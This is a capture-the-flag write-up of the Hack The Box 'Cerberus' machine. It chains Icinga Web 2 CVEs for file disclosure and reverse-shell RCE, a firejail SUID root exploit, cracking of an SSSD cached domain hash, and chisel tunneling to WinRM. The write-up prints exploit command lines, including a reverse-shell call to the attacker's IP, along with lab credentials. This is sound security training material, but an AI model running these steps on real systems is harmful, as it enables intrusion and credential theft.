> For the complete documentation index, see [llms.txt](https://sayonara.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sayonara.gitbook.io/writeups/hackthebox/machines/cerberus.md).

# Cerberus

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FiuGoLg3B7NQDff4MqmNG%2Fimage.png?alt=media&amp;token=d3ceda9a-9236-4d77-8240-707e85344c6d" alt=""><figcaption></figcaption></figure></div>

bCerberus, a hard windows machine, mixture of linux and windows, involved exploiting `icinga2` through two CVEs, arbitrary file disclosure (CVE-2022–24716) and Authenticated RCE (CVE-2022–24715) giving a shell as `www-data` , escalating privileges on linux system through `firejail` (CVE-2022–31214), being a root user, domain user’s cached hash was recovered from sssd which is then used to get a shell on the windows machine as matthew, scanning the DC, there was `ADSelfService` running vulnerable to un-authenticated RCE (CVE 2022 4796) giving a shell as SYSTEM user

## <mark style="color:red;">Reconaissance</mark>

### <mark style="color:blue;">nmap</mark>

as usual we will start by scanning the open ports and running services

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FjgqPQn8dbjKRqrV9HcXm%2Fimage.png?alt=media&amp;token=14164929-8f4b-4074-adb8-fb1be05b3518" alt=""><figcaption></figcaption></figure></div>

**cerberus** is a `windows` machine but for some reason the nmap scan tells that this is a linux machine (ubuntu) running an apache web server at port 8080 so this is confusing

### <mark style="color:blue;">TTL enumeration</mark> &#x20;

The default initial TTL value for Linux/Unix is 64, and TTL value for Windows is 128

let's do a ping to the machine ip address `10.10.11.205`

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fg7ZoxF7n8JWkNkeWmp7D%2Fimage.png?alt=media&amp;token=1071a23a-b8fe-4cfa-bc59-689805e062e9" alt=""><figcaption></figcaption></figure></div>

so the ttl shows that the target machine is a windows machine

let's use wireshark to and curl the apache web server and take a look at the TTL

first run wireshark

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FKrszuEUJi0UALbrMIytO%2Fimage.png?alt=media&amp;token=45551f30-a21f-43fa-91b8-8324e775c97b" alt=""><figcaption></figcaption></figure></div>

and select the vpn interface

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FCnLwKRD2Go3wUacPJH2y%2Fimage.png?alt=media&amp;token=0a8bb339-0dba-49df-9e61-1d469898d5d7" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FbMLpwuJXXyhxhR0MOiDk%2Fimage.png?alt=media&amp;token=71e44c09-ead8-4be7-863d-56a56c93560a" alt=""><figcaption></figcaption></figure></div>

and then after it starts listening for packets curl the machine ip

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FuSltcaLIA9JcSXNezAVs%2Fimage.png?alt=media&amp;token=68f2818a-6b2e-4242-8212-03a0fecfb492" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FUt94ReehYwIoohLczleg%2Fimage.png?alt=media&amp;token=829ab3b9-f02a-452a-95ce-ec369aea70b1" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FohnPzIZ6GpTjKxwbk7vj%2Fimage.png?alt=media&amp;token=5920eada-3ced-4716-b78a-5e8e13e327b3" alt=""><figcaption></figcaption></figure></div>

**let's explain what this means :**&#x20;

initially the default linux TTL value is **64** but when the packet's sent to the linux machine hits a hop (router) the TTL value is decremented by 1

and in this case the TTL value is decremented by 2 because it hits first the hackthebox vpn hop and then hits the windows host operating system

so that confirms that there is a **`virtual machine`** running in the windows host operating system

add `icinga.cerberus.local` to the hosts file

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Frx9rO3XzqcEP2LpJUY0z%2Fimage.png?alt=media&amp;token=ee0f9e7e-74f3-4cef-ac4a-a28fedc0a17d" alt=""><figcaption></figcaption></figure></div>

now browse to this **link** [**http://icinga.cerberus.local:8080/icingaweb2**](http://icinga.cerberus.local:8080/icingaweb2) which is given in nmap scan

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F95v6QD6YYNwokbLbCw23%2Fimage.png?alt=media&amp;token=7bc0bb61-3482-4346-9fc1-92730af79f7d" alt=""><figcaption></figcaption></figure></div>

trying the default icinga web 2 credentials didn't work and looking at the source doesn't give any information on the version

so i tried to find public exploits and find two exploits that are interesting the first one **is** [**CVE-2022-24715**](https://github.com/JacobEbben/CVE-2022-24715) which impacts an RCE but requires credentials and the second one is [**CVE-2022-24716**](https://github.com/JacobEbben/CVE-2022-24716/tree/main) which impacts a file disclosure vulnerability

so we will use the file disclosure vulnerability to leak interesting informations

download the exploit from this link : <https://github.com/JacobEbben/CVE-2022-24716>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F0ANPQYQ9dCe4OnbTKSUn%2Fimage.png?alt=media&amp;token=a47765fa-9271-4552-91cc-1deaadfc9e20" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F1flXsbzSj2bUDtLwSwvG%2Fimage.png?alt=media&amp;token=ea664ae1-3cf0-4722-b35d-bba3764c4c89" alt=""><figcaption></figcaption></figure></div>

we don't know where is the configuration files located to leak them so what we have to do is go to the official icinga documentation page <https://icinga.com/docs/icinga-web/2.6/> and search for configuration and we get this which gives us all the configuration file names and also the path to them which is **`/etc/icingaweb2/<configuration_file_name>`**

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F9FHAGSC9cPsJJdReH4nR%2Fimage.png?alt=media&amp;token=98822696-19aa-4713-acc6-f516ca0db02c" alt=""><figcaption></figcaption></figure></div>

```python
python3 exploit.py http://icinga.cerberus.local:8080/icingaweb2 /etc/icingaweb2/roles.ini
python3 exploit.py http://icinga.cerberus.local:8080/icingaweb2 /etc/icingaweb2/resources.ini
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FvYLSsM4Su4YKmZMcEEzb%2Fimage.png?alt=media&amp;token=e4002d9f-755c-490f-a65d-1766e57b1d3a" alt=""><figcaption></figcaption></figure></div>

and we have leaked the administrator credentials, we can now log in

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F1aHq3UM5UDjcWNZL2cQT%2Fimage.png?alt=media&amp;token=e3b06c60-7afa-43e5-9b6a-8e0676201245" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">Foothold to the linux machine as www-data</mark>

now since we have the credentials we can utilize the other CVE to get **`Remote Code Execution (RCE)`**

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FK6BqnXAKmcqPHJbVsG2D%2Fimage.png?alt=media&amp;token=8bc20480-6b0f-459a-91e2-87e7642fd553" alt=""><figcaption></figcaption></figure></div>

we need to generate a pem file first

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F9ZchkVWBDGJYzEws8DRg%2Fimage.png?alt=media&amp;token=1828f33a-8c17-44a7-9a92-8a8ae161aa19" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FHiBfMeGTErmclh4FEP39%2Fimage.png?alt=media&amp;token=7c093f8a-df2a-4215-839e-e23038f52426" alt=""><figcaption></figcaption></figure></div>

```bash
python3 exploit.py -t http://icinga.cerberus.local:8080/icingaweb2 -I 10.10.14.177 -P 1234 -u matthew -p IcingaWebPassword2023 -e /home/kali/hackthebox/hard/cerberus/id_rsa
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FQm6IDqmi77E7NboSxo10%2Fimage.png?alt=media&amp;token=03e71e2a-7d3c-453e-be2f-9b677a55ba72" alt=""><figcaption></figcaption></figure></div>

and boom we've got a shell

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FFVmgsxdLeSeTgfX80i0E%2Fimage.png?alt=media&amp;token=824e8005-7d9a-4e05-8bc0-217c01a661d4" alt=""><figcaption></figcaption></figure></div>

this is the ubuntu version of ubuntu

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fl4zUzYEl5fmWJHtoDWnX%2Fimage.png?alt=media&amp;token=7f23c4a5-1155-429e-941d-a8f4d0b6d484" alt=""><figcaption></figcaption></figure></div>

**upgrade dumb shell :**&#x20;

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F8Nu1rEkwPER17Yay0EHJ%2Fimage.png?alt=media&amp;token=6dbb6606-1055-4470-977a-af8a3ee5c3cb" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FWA1H45sIRHNqfeN7F6EV%2Fimage.png?alt=media&amp;token=753c1431-315f-4485-ac5f-ac075e2351f1" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">Privilege Escalation</mark>

### <mark style="color:blue;">vulnerable firejail SUID binary</mark>

listing all suid binaries

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F4mJUmGbhmPIJrPROo5mh%2Fimage.png?alt=media&amp;token=3199a602-820d-4d72-8698-a4111c3393d3" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FjsfIKYQxq35fpK2eMJ9Y%2Fimage.png?alt=media&amp;token=242fb9d7-b7bc-4dea-b0ec-ea9ea603eee9" alt=""><figcaption></figcaption></figure></div>

<https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25>

click on this link and copy the python exploit code and then paste it inside a python file, i named it firejail\_exploit.py you can name it whatever you want

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FHlH9PEeRKrZHwJP3c5bF%2Fimage.png?alt=media&amp;token=9f010746-3097-496f-bf72-9d0aba307dcd" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FEBKZXzhaXwbB4BRSJZwG%2Fimage.png?alt=media&amp;token=ab6b6802-011c-43b6-a679-798f4c5f7a6e" alt=""><figcaption></figcaption></figure></div>

now try using the prevoius CVE to get another shell as www-data in another terminal

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FUR1FTmrSv0ZimH2ZsWY8%2Fimage.png?alt=media&amp;token=264e7f62-42eb-41fa-b971-a95675b2aec5" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FzehjbutuWZPm6RietBea%2Fimage.png?alt=media&amp;token=04b3deae-4acd-446f-bf08-03f68aa6c514" alt=""><figcaption></figcaption></figure></div>

when you get a shell it very important to upgrade the shell in order for this to work

after we upgrade the shell run the command

```bash
firejail --join=<number_given>
```

and then&#x20;

```bash
su -
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FuzVPiQ7aJ6wqax9Y7VUR%2Fimage.png?alt=media&amp;token=e8d1c7aa-1fd4-405a-aff9-fb6d6ed9cec6" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">Escaping linux machine through sssd cached credentials</mark>

if we take a look at the /etc/hosts we will find the ip address of the domain controller

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fx4OZVB4aa62sE43ooEa7%2Fimage.png?alt=media&amp;token=ec44649c-a621-4caf-9595-885c4dc8964d" alt=""><figcaption></figcaption></figure></div>

let's take a look at running processes using the command&#x20;

```bash
ps -ef --forst
```

we find that the sssd process is running. SSSD allows the Linux box to communicate with a domain, typically an LDAP (Lightweight Directory Access Protocol) server or an Active Directory domain.

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FGUPWcKYB8EEgT60OkqiS%2Fimage.png?alt=media&amp;token=774abec3-bb87-4593-8179-93a8ab58c234" alt=""><figcaption></figcaption></figure></div>

i've been searching in hacktricks for linux active directory exploits or ways to get valuable informations about the active directory and i've found this

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory#ccache-ticket-reuse-from-sssd-kcm>" %}

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FDQVKw95k8xME4vjnYkxG%2Fimage.png?alt=media&amp;token=c72b6f3a-554b-4442-a859-88a504336024" alt=""><figcaption></figcaption></figure></div>

taking a look at the content existings in the /var/lib/sss/secrets/secrets.db using strings we don't find anything

.secret.mkey file doesn't exist so i changed directory to the parent and i have found a couple of interesting db files&#x20;

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FGdX8hf7By9iuejJECwSX%2Fimage.png?alt=media&amp;token=83c31e6e-79ad-4185-a896-78f968ffde0f" alt=""><figcaption></figcaption></figure></div>

the one contains cache looks more interesting

to search through it we will use the command strings

```bash
strings -m 10 cache_cerberus.local.ldb
```

scrolling down in the results we find a long string that looks like a hash in someway&#x20;

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FM5DsqLH4oOQsp7ITKkNK%2Fimage.png?alt=media&amp;token=a3b5b6bf-d84d-49ac-8bf1-20f91b34b5ca" alt=""><figcaption></figcaption></figure></div>

and i have used an online service that identifies the hash type and also tries to crack it agains a database <https://hashes.com/en/tools/hash_identifier>

and it found the hash value which is => **`147258369`**

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fh79GH6ziPNb4jA9fOZyb%2Fimage.png?alt=media&amp;token=9ac2cb6c-09a9-4b84-8b2f-c86b29c9fd66" alt=""><figcaption></figcaption></figure></div>

and the username is matthew

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FA2E7wIokP4OsmIEtitDM%2Fimage.png?alt=media&amp;token=9aff1f26-9387-4dd8-80f5-45e0be2ca390" alt=""><figcaption></figcaption></figure></div>

we have username and password of a user in the windows machine

first let's check if the winrm port 5985 is open and then we will do a reverse tunneling using chisel to connect to the windows machine from our attack machine since evil-winrm is not installed on the compromised linux machine

```bash
echo 1 > /dev/tcp/172.16.22.1/5985; echo $?
```

This command attempts to open a TCP connection to the specified IP address and port number (`172.16.22.1` on port `5985`) using the `/dev/tcp` special file in Unix-like systems.

if the TCP connection attempt is successful (i.e., if the port is open and accepting connections), the exit status (`$?`) will be `0`, and `echo 0` will print `0`. If the connection attempt fails (i.e., the port is closed or unreachable), the exit status will be `1`, and `echo 1` will print `1`.

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FmSZf9tfJ2r4OoqIw2q17%2Fimage.png?alt=media&amp;token=9f310cac-b056-402f-834f-7651c50c3c55" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">reverse tunneling using chisle</mark>

now let's use chisle to do a reverse tunnel so we can use evil-winrm from our attack machine and connect to the windows machine at the ip address `172.16.22.1`&#x20;

first we will open a file share so we can transfer the chisle binary to the compromised linux machine

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FIN4sXzom43NdsjgodTFu%2Fimage.png?alt=media&amp;token=78f33c51-ac8b-413d-a7ec-7e0396de887f" alt=""><figcaption></figcaption></figure></div>

using wget -r to download all the directories and subdirectories files

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FFW8YFztnPydPjhCJ2zsd%2Fimage.png?alt=media&amp;token=01505d3b-c17b-400a-a26e-cfee67cdb3e3" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FSzqVOvWRG5cRcRYG4Szr%2Fimage.png?alt=media&amp;token=017cf18a-025a-494a-b9b3-77e650e37f02" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FgFivMpNn5750DBi8xuMP%2Fimage.png?alt=media&amp;token=97066194-0e80-4de7-8d73-31ee5362d531" alt=""><figcaption></figcaption></figure></div>

* <mark style="color:green;">**10.10.14.177 :**</mark> my kali linux attack box `ip address`

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FfPeRmRhdnHuOYXstetuz%2Fimage.png?alt=media&amp;token=f2f2307e-d8f1-4d22-ace5-8a59ee76e3e5" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F8O0XogDqSqeoKaaUR62P%2Fimage.png?alt=media&amp;token=965320b2-ed32-455b-af39-1169992703c8" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">Foothold to the winodws machine as matthew</mark> &#x20;

and we can now connect to the windows machine using the credentials found on the sssd cache and the reverse tunnel by chisel&#x20;

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FayfONBQOAfOTPnNlNAnX%2Fimage.png?alt=media&amp;token=d71b15df-4e01-464a-841e-13f02b241061" alt=""><figcaption></figcaption></figure></div>

you can find the user flag at **`/Users/Matthew/Desktop`**
